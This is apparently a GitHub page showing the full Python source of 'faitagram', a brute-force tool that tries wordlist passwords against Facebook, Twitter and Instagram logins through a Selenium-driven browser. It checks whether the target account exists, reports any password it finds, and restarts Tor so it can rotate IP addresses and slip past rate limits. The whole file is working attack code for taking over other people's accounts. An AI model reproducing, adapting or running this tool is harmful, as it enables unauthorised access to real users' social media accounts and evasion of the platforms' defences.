forked from thehassantahir/Faitagram
-
Notifications
You must be signed in to change notification settings - Fork 0
/
faitagram
263 lines (136 loc) · 6.64 KB
/
faitagram
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
# -*- coding: utf-8 -*-
import argparse, mechanize, os, sys, socks, socket
from time import sleep
from subprocess import call
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from pyvirtualdisplay import Display
from urllib import urlopen
reload(sys)
sys.setdefaultencoding('utf8')
W = '\033[0m' # White
R = '\033[31m' # Red
G = '\033[32m' # Green
O = '\033[33m' # Orange
def main():
parser = argparse.ArgumentParser(description='Bruteforce framework written in Python') # Parameters
required = parser.add_argument_group('required arguments')
required.add_argument('-s', '--service', dest='service')
required.add_argument('-u', '--username', dest='username')
required.add_argument('-w', '--wordlist', dest='password')
parser.add_argument('-d', '--delay', type=int, dest='delay')
args = parser.parse_args()
global fb_name, service
service = args.service
username = args.username
wordlist = args.password
delay = args.delay
if os.path.exists(wordlist) == False:
print(R + "Error : WordList not Found" + W)
exit(1)
if delay is None:
delay = 1
os.system("clear")
if service == "facebook":
fb_name = raw_input(O + "Please Enter The NAME Of The Facebook Account : " + W)
os.system("clear")
os.system("/etc/init.d/tor restart && rm -rf tmp/ geckodriver.log") # restarting tor & removing geckodriver log
Bruter(service, username, wordlist, delay).execute()
class Bruter(object):
def __init__(self, service, username, wordlist, delay):
self.service = service
self.username = username
self.wordlist = wordlist
self.delay = delay
def stopTOR(self): # Stoping Tor
os.system("rm -rf tmp/ geckodriver.log && service tor stop")
exit(1)
def execute(self): # Connection Between def main()
if self.usercheck(self.username, self.service) == 1:
print("[ " + R + "Error" + W + " ]" + " Username Does not Exist\n" + W)
exit(1)
print("[ " + G + "ok" + W + " ]" + " Checking Account Existence\n")
self.webBruteforce(self.username, self.wordlist, self.service, self.delay)
def usercheck(self, username, service): # Checking Username
display = Display(visible=0, size=(800, 600)) # Pyvirtual display starting
display.start()
driver = webdriver.Firefox()
try:
if service == "facebook":
driver.get("https://www.facebook.com/public/" + fb_name)
assert (("We couldn't find anything for") not in driver.page_source)
driver.quit()
os.system("clear && /etc/init.d/tor restart")
elif service == "twitter":
driver.get("https://www.twitter.com/" + username)
assert (("Sorry, that page doesn’t exist!") not in driver.page_source)
driver.quit()
elif service == "instagram":
driver.get("https://instagram.com/" + username)
assert (("Sorry, this page isn't available.") not in driver.page_source)
driver.quit()
except AssertionError:
return 1
def webBruteforce(self, username, wordlist, service, delay):
print("\n- Bruteforce starting ( Delay = %s sec ) -\n" % self.delay)
driver = webdriver.Firefox()
wordlist = open(wordlist, 'r')
for i in wordlist.readlines():
password = i.strip("\n")
try:
driver = webdriver.Firefox()
if service == "facebook":
driver.get("https://touch.facebook.com/login?soft=auth/")
WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
elem = driver.find_element_by_name("email")
elif service == "twitter":
driver.get("https://mobile.twitter.com/session/new")
WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
elem = driver.find_element_by_name("session[username_or_email]")
elif service == "instagram":
driver.get("https://www.instagram.com/accounts/login/?force_classic_login")
WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete')
elem = driver.find_element_by_name("username")
elem.clear()
elem.send_keys(username)
if service == "facebook":
elem = driver.find_element_by_name("pass")
elif service == "twitter":
elem = driver.find_element_by_name("session[password]")
elif service == "instagram":
elem = driver.find_element_by_name("password")
elem.clear()
elem.send_keys(password)
elem.send_keys(Keys.RETURN)
if service == "facebook":
assert (("Log into Facebook | Facebook") in driver.title)
elif service == "twitter":
if driver.current_url == "https://mobile.twitter.com/home":
print(G + (" Username: {} \t| Password found: {} \n".format(username,password)) + W)
driver.quit()
self.stopTOR()
elif service == "instagram":
assert (("Log in — Instagram") in driver.title)
driver.quit()
my_ip = urlopen("http://ip.42.pl/raw").read()
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
socket.socket = socks.socksocket
print(O + (" Password: {} \t| Failed \t| IP : {} \n ".format(password,my_ip)) + W)
sleep(delay)
except AssertionError:
print(G + (" Username: {} \t| Password found: {}\n".format(username,password)) + W)
driver.quit()
self.stopTOR()
except Exception as e:
print(R + ("\nError : {}".format(e)) + W)
driver.quit()
self.stopTOR()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print(R + "\nError : Keyboard Interrupt" + W)
os.system("rm -rf tmp/ geckodriver.log && service tor stop")
exit(1)
os.system("python setup.py")